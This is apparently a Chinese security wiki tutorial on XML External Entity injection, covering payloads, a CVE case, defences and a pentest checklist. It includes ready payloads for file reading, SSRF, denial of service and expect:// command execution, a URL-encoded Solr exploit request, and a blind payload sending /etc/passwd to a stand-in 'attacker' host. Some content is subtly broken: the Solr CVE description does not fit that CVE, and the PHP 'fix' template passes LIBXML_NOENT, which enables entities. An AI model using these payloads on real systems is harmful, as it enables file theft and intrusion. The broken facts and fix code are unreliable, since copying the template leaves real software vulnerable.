作者:小雪花安全实验室 日期:2025-09-18
关键词:XML、DTD、External Entity、SSRF、RCE、libxml2、CVE-2024-40896


1. 什么是 XXE?

XML 外部实体注入(XML External Entity Injection,简称 XXE)是指应用程序解析用户可控的 XML 数据时,未禁用外部实体(DTD),导致攻击者可以:

  • 读取任意文件(file:///etc/passwd
  • 扫描内网端口(SSRF)
  • 触发拒绝服务(Billion Laughs)
  • 在特定环境下执行远程代码(RCE)

2. XML 与 DTD 速览

2.1 实体(Entity)

实体就是 XML 中的“变量”,可复用一段字符串或外部资源。

<!-- 内部实体 -->
<!ENTITY greeting "Hello World">

<!-- 外部实体 -->
<!ENTITY secrets SYSTEM "file:///c:/windows/win.ini">

2.2 DTD(Document Type Definition)

DTD 用来定义 XML 结构,可以内嵌或外部引用。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
]>
<note>
  <to>Tom</to>
  <from>Jerry</from>
</note>

3. 漏洞原理

默认情况下,许多 XML 解析器(Java SAX/DOM、PHP SimpleXML、Python lxml、.NET XmlTextReader 等)会解析外部实体
如果应用直接接收并解析用户提交的 XML,攻击者就能注入恶意 DTD:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

当后端返回 &xxe; 的解析结果时,文件内容就会作为响应回显。


4. 常见攻击手法

攻击目标 示例 payload 说明
读文件 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 回显或报错带出内容
读 PHP 源码 php://filter/read=convert.base64-encode/resource=config.php 避免 < 被解析
内网探测 <!ENTITY xxe SYSTEM "http://192.168.1.8:22"> 根据响应时间/错误判断端口开放
拒绝服务 <!ENTITY lol "lol">...<!ENTITY lol9 "&lol8;&lol8;&lol8;">(Billion Laughs) 指数级展开耗尽内存
远程代码执行 <!ENTITY xxe SYSTEM "expect://id"> 需 PHP 安装 expect 扩展

5. 典型 CVE 案例

5.1 Apache Solr XML 实体注入漏洞(CVE-2017-12629)

  • 成因
    Apache Solr 默认使用 VelocityResponseWriter 处理 /select?q=*&wt=velocity 请求,且允许用户通过 params.resource.loader.enabled=true(未禁用)加载任意模板。模板解析过程中,Velocity 引擎会调用 SAXParser 解析用户提供的 XML,而 Solr 未关闭外部实体解析,导致恶意 XML 中的外部实体被展开,造成文件读取或 SSRF。

  • 影响版本
    Apache Solr 5.5.0 ~ 7.1.0(全系列默认配置均受影响)

  • 利用

  • 通过 /config API 将 params.resource.loader.enabled 置为 true(默认已开启)。

  • 发送如下 GET 请求即可触发 XXE:

GET /solr/collection1/select?q=*&wt=velocity&v.template=custom&v.template.custom=%23set(%24x='%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%25xxe%3B%5D%3E%3Croot%2F%3E')%23set(%24r=%24request.getParameter(%27r%27))%24x
  1. 返回包中直接出现 /etc/passwd 内容;若目标在内网,可把实体换成 http://169.254.169.254/latest/meta-data/ 实现 SSRF。

  2. 修复

  3. 升级 Solr ≥ 7.2.0,官方已在 solrconfig.xml 中默认把 params.resource.loader.enabled 设为 false
  4. 如暂时无法升级,在 solrconfig.xml 显式关闭该参数:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
  <str name="params.resource.loader.enabled">false</str>
</queryResponseWriter>
  1. /config 端点开启认证与防火墙白名单,禁止外部直接调用。

5.2 Python lxml <= 5.2.0(默认无 XXE,但可被误配置)

  • 误用代码python from lxml import etree etree.XML(xml_str) # 默认关闭外部实体,但开发者手动传入了 huge_tree=True 并自定义解析器
  • 修复:使用 etree.XML(xml_str, parser=etree.XMLParser(resolve_entities=False))

6. 防御方案(开发视角)

6.1 关闭外部实体(语言速查)

语言/框架 安全配置示例
Java factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
.NET XmlReaderSettings settings = new() { DtdProcessing = DtdProcessing.Prohibit };
PHP libxml_disable_entity_loader(true);(PHP 8.0 已移除,需 libxml ≥ 2.9)
Python lxml parser = XMLParser(resolve_entities=False)
Go encoding/xml 默认不解析外部实体,无需额外设置

6.2 使用白名单验证

  • 只允许 JSON 或简单标签,拒绝任何 <!DOCTYPE
  • 若必须支持 DTD,使用本地静态 DTD 并禁止网络获取。

6.3 网络层兜底

  • 解析容器出网限制(禁止 80/443 以外)
  • WAF 正则拦截 <!ENTITY.*SYSTEM
  • 对响应长度、异常进行监控,发现 Billion Laughs 立即熔断

7. 渗透测试 checklist

✅ 手动探测
- 修改 Content-Type: application/xml
- 发送简单 payload 观察是否回显 /etc/passwd 或报错信息

✅ 自动化扫描
- OWASP ZAP / Burp Scanner 自带 XXE 插件
- xxeinjector, xxeserv 快速启动 FTP/HTTP 接收 OOB 数据

✅ 代码审计关键词
- DocumentBuilder, SAXParser, XmlReader, SimpleXML, lxml, libxml
- resolve_entities, setFeature, DTD/DOCTYPE

✅ 盲打 OOB(数据不回显)

<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker/?p=%file;'>">
  %eval;
  %exfil;
]>

在 VPS 查看访问日志即可拿到文件内容。


8. 一键修复模板(Copy & Paste)

public final class SafeXmlUtil {
    private SafeXmlUtil() {}

    public static Document parse(String xml) throws Exception {
        DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
        f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        f.setFeature("http://xml.org/sax/features/external-general-entities", false);
        f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        f.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        f.setXIncludeAware(false);
        f.setExpandEntityReferences(false);
        return f.newDocumentBuilder().parse(new InputSource(new StringReader(xml)));
    }
}
$old = libxml_use_internal_errors(true);   // PHP 8.0 之前可关闭实体加载
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOENT); // LIBXML_NONET 禁止网络
libxml_use_internal_errors($old);

9. 参考资源


版权声明:如无特殊说明,文章均为本站原创,转载请注明出处

本文链接:https://www.secsnow.cn/wiki/subject/article/xml/

许可协议:署名-非商业性使用 4.0 国际许可协议